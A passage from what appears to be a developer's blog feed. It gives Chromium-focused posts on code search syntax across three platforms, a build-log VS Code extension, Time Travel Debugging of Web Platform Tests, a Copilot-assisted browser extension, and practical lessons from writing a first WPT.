&lt;td&gt;Search for method/class definition/declaration&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Def:Name&lt;/code&gt; / &lt;code&gt;decl:Name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Class:Name&lt;/code&gt; / &lt;code&gt;Func:Name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Symbol:Name&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Negation logic operator&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NOT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NOT&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Includes generated files&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Documentation&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/azure/devops/repos/git/code-search?view=azure-devops&quot;&gt;Functional code search - Azure Repos | Microsoft Learn&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://developers.google.com/code-search/reference/syntax&quot;&gt;Syntax reference | Code Search | Google for Developers&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://docs.github.com/en/search-github/github-code-search/understanding-github-code-search-syntax&quot;&gt;Understanding GitHub Code Search syntax&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The biggest difference is learning that Chromium is using partial regular expressions matching, ADO is using full glob matching, and GitHub is using partial literal matching unless you use &lt;code&gt;/.../&lt;/code&gt; to explicitly ask for regular expressions. So &lt;strong&gt;TLDR&lt;/strong&gt;: &lt;code&gt;*&lt;/code&gt; in ADO should be &lt;code&gt;.*&lt;/code&gt; in Chromium, and &lt;code&gt;/.*/&lt;/code&gt; in GitHub.&lt;/p&gt;
&lt;h3 id=&quot;example-comparison&quot; tabindex=&quot;-1&quot;&gt;Example Comparison &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Searching for the &lt;code&gt;kTopLevel&lt;/code&gt; symbol in the Chromium codebase, excluding tests and mojom files, and only looking in a service path:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ADO query:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kTopLevel NOT path:*test* NOT ext:mojom path:*service*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://source.chromium.org/search?q=%5CbkTopLevel%5Cb%20-path:test%20-path:%5C.mojom$%20-path:%5Eout%2F%20path:service&amp;amp;sq=&amp;amp;ss=chromium&quot;&gt;cs.chromium query&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&#92;bkTopLevel&#92;b -path:test -path:&#92;.mojom$ -path:^out/ path:service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/search?q=repo%3Achromium%2Fchromium+%2F%5CbkTopLevel%5Cb%2F+NOT+path%3Atest+NOT+path%3A*.mojom+PATH%3Aservice&amp;amp;type=code&quot;&gt;GitHub query&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;repo:chromium/chromium /&#92;bkTopLevel&#92;b/ NOT path:test NOT path:*.mojom PATH:service
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;notable-differences&quot; tabindex=&quot;-1&quot;&gt;Notable Differences: &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;h4 id=&quot;ktoplevel&quot; tabindex=&quot;-1&quot;&gt;&lt;code&gt;kTopLevel&lt;/code&gt; &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/&quot;&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ADO&lt;/strong&gt;: &lt;code&gt;kTopLevel&lt;/code&gt; matches just that word unless you use &lt;code&gt;*&lt;/code&gt; to match more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cs.chromium&lt;/strong&gt;: &lt;code&gt;kTopLevel&lt;/code&gt; is a regular expression that matches parts of words and you need to use &lt;code&gt;&#92;b&lt;/code&gt; on the ends to indicate that it shouldn&#39;t match more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: &lt;code&gt;kTopLevel&lt;/code&gt; on its own does a partial literal match. If you want to match the whole word you can use a regular expression with &lt;code&gt;/.../&lt;/code&gt; around it, so &lt;code&gt;/&#92;bkTopLevel&#92;b/&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;not-path-test&quot; tabindex=&quot;-1&quot;&gt;&lt;code&gt;NOT path:*test*&lt;/code&gt; &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/&quot;&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ADO&lt;/strong&gt;: We use &lt;code&gt;NOT&lt;/code&gt; for negation and to match any path with test we again have to use &lt;code&gt;*&lt;/code&gt; to match more&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cs.chromium&lt;/strong&gt;: We negate with &lt;code&gt;–&lt;/code&gt; and test is a regular expression that matches the text test anywhere in the path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: We negate with &lt;code&gt;NOT&lt;/code&gt; and test is a partial glob matches the text test anywhere in the path.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;not-ext-mojom&quot; tabindex=&quot;-1&quot;&gt;&lt;code&gt;NOT ext:mojom&lt;/code&gt; &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/&quot;&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ADO&lt;/strong&gt;: We can use &lt;code&gt;ext:&lt;/code&gt; to match file extensions. It&#39;s just a shortcut for saying &lt;code&gt;path:*.mojom&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cs.chromium&lt;/strong&gt;: We need to represent this as a regular expression &lt;code&gt;-path:&#92;.mojom$&lt;/code&gt;. In this case escape the &lt;code&gt;.&lt;/code&gt; with &lt;code&gt;&#92;&lt;/code&gt; so it&#39;s a literal &lt;code&gt;.&lt;/code&gt; and use &lt;code&gt;$&lt;/code&gt; to indicate that this is the end of the path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: We can use &lt;code&gt;path:*.mojom&lt;/code&gt; to match the file extension, although its a partial glob match so it would also match something like &lt;code&gt;my.mojom.txt&lt;/code&gt; and is not perfect.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;path-out&quot; tabindex=&quot;-1&quot;&gt;&lt;code&gt;-path:^out/&lt;/code&gt; &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/&quot;&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;cs.chromium&lt;/strong&gt;: They index generated files. Depending on what you&#39;re looking for this can be incredibly useful or since it indexes multiple different archs and platforms of generated code it can produce a lot of noise. You can use &lt;code&gt;-path:^out/&lt;/code&gt; to ensure no generated files under the gen build folder show up.&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>WatchBuildLog VS Code Extension</title>
		<link href="https://deletethis.net/dave/2025-07/watchbuildlog-vs-code-extension/"/>
		<updated>2025-07-20T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2025-07/watchbuildlog-vs-code-extension/</id>
		<content type="html">&lt;p&gt;I&#39;ve made &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=DavidRisney.watchbuildlog&quot;&gt;WatchBuildLog&lt;/a&gt;, a VS Code extension that watches a build log file and parses out build errors for the VS Code Problems tab. The default build log paths and build error patterns match the Chromium build system. But you can change the log paths and error patterns in the settings.&lt;/p&gt;
&lt;p&gt;There are other VS Code extensions for running the build from VS Code. But Chromium has so many different build targets and build options, that I want to continue building like I normally do from the command line. So rather than starting the build from VS Code, I stay in the command line unless there are errors I want to fix in VS Code, then I switch to VS Code, and the build errors are waiting for me.&lt;/p&gt;
&lt;h2 id=&quot;development&quot; tabindex=&quot;-1&quot;&gt;Development &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-07/watchbuildlog-vs-code-extension/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is my first VS Code extension. I used GitHub Copilot in part of its creation and it was a reasonable experience. I did end up rewriting most of the code as the generated code was unnecessarily complicated and missed edge cases. But having never made a VS Code extension, before it was convenient to have Copilot help me get started and get the basic structure of the extension.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Time Travel Debugging WPT on Windows</title>
		<link href="https://deletethis.net/dave/2025-07/time-travel-debugging-wpt-on-windows/"/>
		<updated>2025-07-17T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2025-07/time-travel-debugging-wpt-on-windows/</id>
		<content type="html">&lt;p&gt;I&#39;ve had trouble getting Time Travel Debugging (TTD) working with debugging WPT from my chromium repo on Windows. Having finally gotten it working, I wanted to document the steps I took to get it working:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Follow the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/time-travel-debugging-ttd-exe-command-line-util#how-to-download-and-install-the-ttdexe-command-line-utility-preferred-method&quot;&gt;install TTD instructions&lt;/a&gt;. This will install the &lt;code&gt;Microsoft.TimeTravelDebugging&lt;/code&gt; app package and will expose the &lt;code&gt;ttd.exe&lt;/code&gt; command line executable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Disable hardware enforced stack protection. See &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection#enable-kernel-mode-hardware-enforced-stack-protection-in-windows-security&quot;&gt;Kernel-mode Hardware-enforced Stack Protection&lt;/a&gt; of where to find the option, but disable it. TTD cannot trace an executable with this enabled.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a WPT virtual test suite to pass in &lt;code&gt;--no-sandbox&lt;/code&gt;. TTD doesn&#39;t work when Chromium sandboxing is on for a process. Edit &lt;code&gt;third_party/blink/web_tests/VirtualTestSuites&lt;/code&gt; and add a new entry like the following:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;  {
    &amp;quot;prefix&amp;quot;: &amp;quot;no-sandbox&amp;quot;,
    &amp;quot;platforms&amp;quot;: [
      &amp;quot;Linux&amp;quot;,
      &amp;quot;Mac&amp;quot;,
      &amp;quot;Win&amp;quot;
    ],
    &amp;quot;bases&amp;quot;: [ &amp;quot;&amp;quot; ],
    &amp;quot;args&amp;quot;: [
      &amp;quot;--no-sandbox&amp;quot;
    ],
    &amp;quot;owners&amp;quot;: [
      &amp;quot;example@example.com&amp;quot;
    ],
    &amp;quot;expires&amp;quot;: &amp;quot;Jul 17, 2026&amp;quot;
  },
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Run TTD to monitor the WPT headless_shell.exe processes. In an admin prompt run the following, but modify the &lt;code&gt;-out&lt;/code&gt; path to wherever you want the TTD trace files to be created. Pick a path that can store files of several GBs in size. Leave this running.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Admin&amp;gt; ttd.exe -out C:&#92;users&#92;davris&#92;tmp -monitor headless_shell.exe -noUI
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;Run your WPT tests using the virtual test suite, with timeouts extended, and using a release build in a non-admin prompt. Note in the following command the test starts with the test suite prefix &lt;code&gt;virtual/no-sandbox/&lt;/code&gt; and the &lt;code&gt;--timeout-multiplier&lt;/code&gt; is set to 5 to allow for the much slower execution when TTD tracing.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Non-Admin&amp;gt; Q:&#92;cr&#92;src&#92;third_party&#92;blink&#92;tools&#92;run_wpt_tests -t Q:&#92;cr&#92;src&#92;out&#92;release_x64 virtual/no-sandbox/external/wpt/service-workers/service-worker/service-worker-header.https.html --no-retry-failures --verbose --driver-logging --timeout-multiplier 5
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;Once the WPT finishes you should find a bunch of &lt;code&gt;*.run&lt;/code&gt; files in the output directory you specified in step 4. These are the TTD trace files. You can open them in WinDbg and use &lt;code&gt;!peb&lt;/code&gt; to see the command line and which kind of chromium process kind. But usually the &lt;code&gt;.run&lt;/code&gt; file of the renderer process you want is the last one and largest one, and for the browser process is the first one.&lt;/li&gt;
&lt;/ol&gt;
</content>
	</entry>
	
	<entry>
		<title>OpenSourceIn Browser Extension</title>
		<link href="https://deletethis.net/dave/2025-07/opensourcein-browser-extension/"/>
		<updated>2025-07-16T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2025-07/opensourcein-browser-extension/</id>
		<content type="html">&lt;p&gt;I&#39;ve been writing (and using) a browser extension called &lt;a href=&quot;https://github.com/david-risney/OpenSourceIn&quot;&gt;OpenSourceIn&lt;/a&gt; that allows you to open the source code you&#39;re viewing in the browser into VS Code. It supports the web sites I use: GitHub, Azure DevOps, and the various Chromium development sites for bugs, code review, and source search. Working on Chromium I find myself very regularly switching between cs.chromium.org, issues.chromium.org, and chromium-review.googlesource.com and just wanted something to make it slightly easier to switch from the browser into the corresponding local source file. The best solution to this would be proper integration of these various sites into VS Code, but this provides good value for very little investment.&lt;/p&gt;
&lt;h2 id=&quot;development&quot; tabindex=&quot;-1&quot;&gt;Development &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-07/opensourcein-browser-extension/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I used GitHub Copilot throughout the development of this extension and overall I&#39;m not sure if it saved me time but probably helped me actually finish. My overall thoughts:&lt;/p&gt;
&lt;h3 id=&quot;side-project-fatigue-mitigation&quot; tabindex=&quot;-1&quot;&gt;Side project fatigue mitigation &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-07/opensourcein-browser-extension/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I often get very interested and into a side project idea, but at this point in my life I can tell how many days I have before my focus and interest fails. GitHub Copilot helps me get through things like setting up the project, getting test infra setup, and so on that I might otherwise rathole on and not actually get to the project. It means I can start to see progress faster helping with my motivation.&lt;/p&gt;
&lt;h3 id=&quot;creating-c-grade-skeleton&quot; tabindex=&quot;-1&quot;&gt;Creating C grade skeleton &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-07/opensourcein-browser-extension/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Very similar to the above, the AI can help create a maybe C grade skeleton of the project. Its easier for me to work from this skeleton and fix things up then to start from scratch. I can run the skeleton and validate behavior as I go. I still end up rewriting maybe most of the code but I get to start with something that runs.&lt;/p&gt;
&lt;p&gt;And for this phase of the project where I am just trying to get it to setup a skeleton I don&#39;t have to invest a lot of my focus and time. When I start a build of another project that&#39;s going to take a few minutes I can run what I have, look through the code and tell it what I want to see and how to see things setup.&lt;/p&gt;
&lt;p&gt;When I first had it setup the project it included a bunch of popular dependencies that I really did not want. But its easy enough to go into the dependency list and remove these things and in the mean time I have a working project.&lt;/p&gt;
&lt;h3 id=&quot;works-best-when-you-know-what-you-want&quot; tabindex=&quot;-1&quot;&gt;Works best when you know what you want &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-07/opensourcein-browser-extension/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This was my first time trying to write a browser extension for a real purpose. I had a number of misconceptions about how browser extensions work. This led to several instances of me trying to get Copilot to write code that was not going to work. And talking to Copilot did not help. Its too much of a &#39;yes&#39; person. I ask a question in a positive way and it gives me a positive answer. I rephrase my question in a negative way and it gives me a negative answer. I had to go read MDN on exactly how things actually work for browser extension developments.&lt;/p&gt;
&lt;p&gt;Similarly I can&#39;t tell it to do large tasks like fully describe the options page. I need to understand how I want the code structured, and go one by one through the features.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Noobs WPT in Chromium learnings</title>
		<link href="https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/"/>
		<updated>2025-03-20T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/</id>
		<content type="html">&lt;p&gt;I&#39;m happy to have finished &lt;a href=&quot;https://chromium-review.googlesource.com/c/chromium/src/+/6322749&quot;&gt;my first Chromium bug that adds a WPT&lt;/a&gt;.
Writing a WPT I found to be more fun than writing usual C++ based tests. But I did learn
a bunch from issues I ran into and otherwise that I want to record here.&lt;/p&gt;
&lt;h2 id=&quot;background&quot; tabindex=&quot;-1&quot;&gt;Background &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The bug was &lt;a href=&quot;https://issues.chromium.org/issues/40288240&quot;&gt;deferring registerProtocolHandler duriung prerendering&lt;/a&gt;. You can see the &lt;a href=&quot;https://storage.googleapis.com/spec-previews/WICG/nav-speculation/pull/283/diff/prerendering.html#extendedattrdef-delaywhileprerendering&quot;&gt;spec change&lt;/a&gt; that led to opening this bug.&lt;/p&gt;
&lt;p&gt;The actual bug fix was pretty simple. The existing (un)registerProtocolHandler code is already split into validation in the renderer process before calling into the browser process for the actual registration work. The bug requires doing the validation synchronously and deferring the registration work so the existing code was already setup very nicely for this change.&lt;/p&gt;
&lt;p&gt;I found existing examples of deferring work (&lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/modules/service_worker/service_worker_registration.cc?q=AddPostPrerenderingActivationStep&amp;amp;ss=chromium&quot;&gt;service worker registration&lt;/a&gt;, &lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:components/autofill/content/renderer/autofill_agent.cc?q=AddPostPrerenderingActivationStep&amp;amp;ss=chromium&quot;&gt;AutofillAgent&lt;/a&gt;) that shows using two functions to easily defer work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check if we&#39;re prerendering using &lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/modules/service_worker/service_worker_registration.cc?q=AddPostPrerenderingActivationStep&amp;amp;ss=chromium&quot;&gt;&lt;code&gt;Document::IsPrerendering&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Defer work until after activation using &lt;a href=&quot;https://source.chromium.org/search?q=AddPostPrerenderingActivationStep&amp;amp;ss=chromium&quot;&gt;&lt;code&gt;Document::AddPostPrerenderingActivationStep&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;wpt-learnings&quot; tabindex=&quot;-1&quot;&gt;WPT learnings &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Looking in WPT I could see existing tests for prerendering and for registerProtocolHandler so my plan for testing was to add WPTs. Specifically one to ensure validation occurs synchronously, that registration is deferred and unregistration is deferred. Working on this I learned a bunch of things from docs and from hitting and resolving issues. The rest of this is just my findings in no particular order.&lt;/p&gt;
&lt;h3 id=&quot;wildcards&quot; tabindex=&quot;-1&quot;&gt;Wildcards &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;run_web_tests&lt;/code&gt; / &lt;code&gt;run_wpt_tests&lt;/code&gt; scripts don&#39;t let you use wildcards when specifying tests to run. But you can use a parameter that lets you specify tests that include a trailing wildcard. This encourages naming related tests with common prefixes. And you can do multiple rules separated by &lt;code&gt;::&lt;/code&gt; (🤷)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Q:&#92;cr&#92;src&#92;third_party&#92;blink&#92;tools&#92;run_wpt_tests.bat -t Q:&#92;cr&#92;src&#92;out&#92;debug_x64  --isolated-script-test-filter external/wpt/html/browsers/history/the-location-interface/location-prototype*::external/wpt/html/browsers/history/the-location-interface/location-protocol*
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;sync-ing-between-chromium-and-wpt&quot; tabindex=&quot;-1&quot;&gt;Sync&#39;ing between chromium and WPT &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/web-platform-tests/wpt&quot;&gt;WPT has a github repo&lt;/a&gt; but chromium has a great system setup to do two way sync&#39;ing between the chromium repo and the WPT repo with a bot. When you make a CL in chromium and its getting ready to submit a bot will open a github PR to push the change to the WPT repo. There&#39;s also a system to sync WPT repo changes back to chromium.&lt;/p&gt;
&lt;p&gt;So convenient!&lt;/p&gt;
&lt;h3 id=&quot;manifest-update-30s&quot; tabindex=&quot;-1&quot;&gt;Manifest update 30s &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When you call &lt;code&gt;run_w(eb|pt)_tests&lt;/code&gt; by default it will parse the manifest JSON every time to collect a list of all tests and this takes about 30 seconds (for my machine). This is a pain, but if you haven&#39;t changed the list of tests then you skip this using the parameter &lt;code&gt;--no-manifest-update&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;virtual-test-folders&quot; tabindex=&quot;-1&quot;&gt;Virtual test folders &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When referring to tests in &lt;code&gt;run_wpt_tests&lt;/code&gt; you can refer to them by default using their path like &lt;code&gt;external/wpt/speculation-rules/prerender/protocol-handler-validation.html&lt;/code&gt;. But some can be referred to exclusively by a &lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/web_tests/VirtualTestSuites?q=speculation-rules-prerender-target-hint&amp;amp;ss=chromium&quot;&gt;virtual test folder&lt;/a&gt; in which case they have the virtual test folder prefix: &lt;code&gt;virtual/speculation-rules-prerender-target-hint/external/wpt/speculation-rules/prerender/protocol-handler-validation.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If a test is exclusive to a virtual test folder and you try to refer to it with the default name then &lt;code&gt;run_wpt_tests&lt;/code&gt; says the test is skipped but won&#39;t say why. You may want to search &lt;a href=&quot;https://luci-milo.appspot.com/ui/p/chromium/test-search?q=external%2Fwpt%2Fcontent-security-policy%2Fresource-hints%2Fprefetch-allowed-no-default.html&quot;&gt;LUCI tests&lt;/a&gt; for a partial name of your test to find out its full and potentially virtual name.&lt;/p&gt;
&lt;h3 id=&quot;wpt-name-suffix-https-html&quot; tabindex=&quot;-1&quot;&gt;WPT name suffix &lt;code&gt;.https.html&lt;/code&gt; &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://web-platform-tests.org/writing-tests/file-names.html&quot;&gt;WPT names&lt;/a&gt; can have meaning from tags in the name. The big one for me is the &lt;code&gt;.https.html&lt;/code&gt; tag which indicates the test must run using https. If you don&#39;t the test will run as http. I had trouble with this because when I went to debug the test its via &lt;code&gt;http://localhost&lt;/code&gt; which although http it is localhost and chromium throws devs a bone and lets content run as if its via https. Accordingly it took me a bit to realize the issue was the test was running via http and so registerProtocolHandler just wasn&#39;t there.&lt;/p&gt;
&lt;h3 id=&quot;testdriver-browser-extension-test-driver&quot; tabindex=&quot;-1&quot;&gt;Testdriver browser extension &lt;code&gt;test_driver&lt;/code&gt; &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Some WPT need to do things a browser shouldn&#39;t allow script to do normally for example skipping end user UI. For this purpose there&#39;s a &lt;a href=&quot;https://web-platform-tests.org/writing-tests/testdriver-extension-tutorial.html&quot;&gt;Testdriver browser extension&lt;/a&gt; which exposes APIs to script like &lt;code&gt;test_driver.set_rph_registration_mode(&#39;autoAccept&#39;);&lt;/code&gt; (&lt;a href=&quot;https://web-platform-tests.org/writing-tests/testdriver-extension-tutorial.html&quot;&gt;source&lt;/a&gt;). This specifically will make &lt;code&gt;registerProtocolHandler&lt;/code&gt; not show UI to the end user and auto accept instead. I was worried about not being able to test &lt;code&gt;registerProtocolHandler&lt;/code&gt; in WPTs before finding out about this.&lt;/p&gt;
&lt;p&gt;Because WPT has to work in Firefox and Safari as well, adding to Testdriver may require significant effort to ensure it works in these browsers.&lt;/p&gt;
&lt;h3 id=&quot;debugging&quot; tabindex=&quot;-1&quot;&gt;Debugging &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;My go to for debugging a WPT in the browser is via devtools. But if you&#39;re relying on the testdriver you won&#39;t be able to. I tried a few things:
* Use &lt;code&gt;--enable-per-test-tracing&lt;/code&gt; and (as long as your test isn&#39;t timing out) you&#39;ll get pftrace files created that you can open in about:tracing / &lt;a href=&quot;https://ui.perfetto.dev/&quot;&gt;https://ui.perfetto.dev/&lt;/a&gt;
* Use &lt;code&gt;--driver-logging&lt;/code&gt; / &lt;code&gt;--verbose&lt;/code&gt; and the driver will log &lt;code&gt;console.log&lt;/code&gt; messages to the console from any context (main test page, iframes, service workers)
* Use &lt;code&gt; --additional-driver-flag=--enable-logging --additional-driver-flag=--v=1&lt;/code&gt; with &lt;code&gt;--driver-logging&lt;/code&gt; to turn on additional chromium logging. But just &lt;code&gt;--driver-logging&lt;/code&gt; will get you chromium error logging of at least --v=3 (?).&lt;/p&gt;
&lt;h3 id=&quot;content-shell&quot; tabindex=&quot;-1&quot;&gt;content_shell &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;You can run WPT using two scripts. &lt;a href=&quot;https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/testing/run_web_platform_tests.md&quot;&gt;&lt;code&gt;run_wpt_tests&lt;/code&gt;&lt;/a&gt; is the newer and preferred way to run tests using chrome or headless test driver.  Tests are getting ported over to running this way.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/testing/web_tests_in_content_shell.md#Running-WPT-Tests-in-Content-Shell&quot;&gt;&lt;code&gt;run_web_tests&lt;/code&gt;&lt;/a&gt; is the older way that uses content_shell to run tests. You have to build content_shell specifically and it replaces some parts of the product like replacing the &lt;code&gt;Browser&lt;/code&gt; class with the &lt;code&gt;Shell&lt;/code&gt; class. This was a big problem for me because I didn&#39;t realize that register protocol handler&#39;s main registration code is in &lt;code&gt;Browser::RegisterProtocolHandler&lt;/code&gt; and &lt;code&gt;Browser::UnregisterProtocolHandler&lt;/code&gt;.  Running in content_shell instead I get &lt;code&gt;Shell::RegisterProtocolHandler&lt;/code&gt; and &lt;code&gt;Shell::UnregisterProtocolHandler&lt;/code&gt; but the unregister method is empty. I couldn&#39;t figure out why my test wasn&#39;t working until I added logging to the unregister methods and could see what was missing.&lt;/p&gt;
&lt;h3 id=&quot;new-test-stability&quot; tabindex=&quot;-1&quot;&gt;New test stability &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When adding a new test its important to ensure there&#39;s no reliability issues. You can locally rerun a test 20 times using something like &lt;code&gt;--repeat-each 20&lt;/code&gt; and validate that it continues to work. When you submit the change via chromium CL it will see you are adding a new test and run it many times to ensure this as well.&lt;/p&gt;
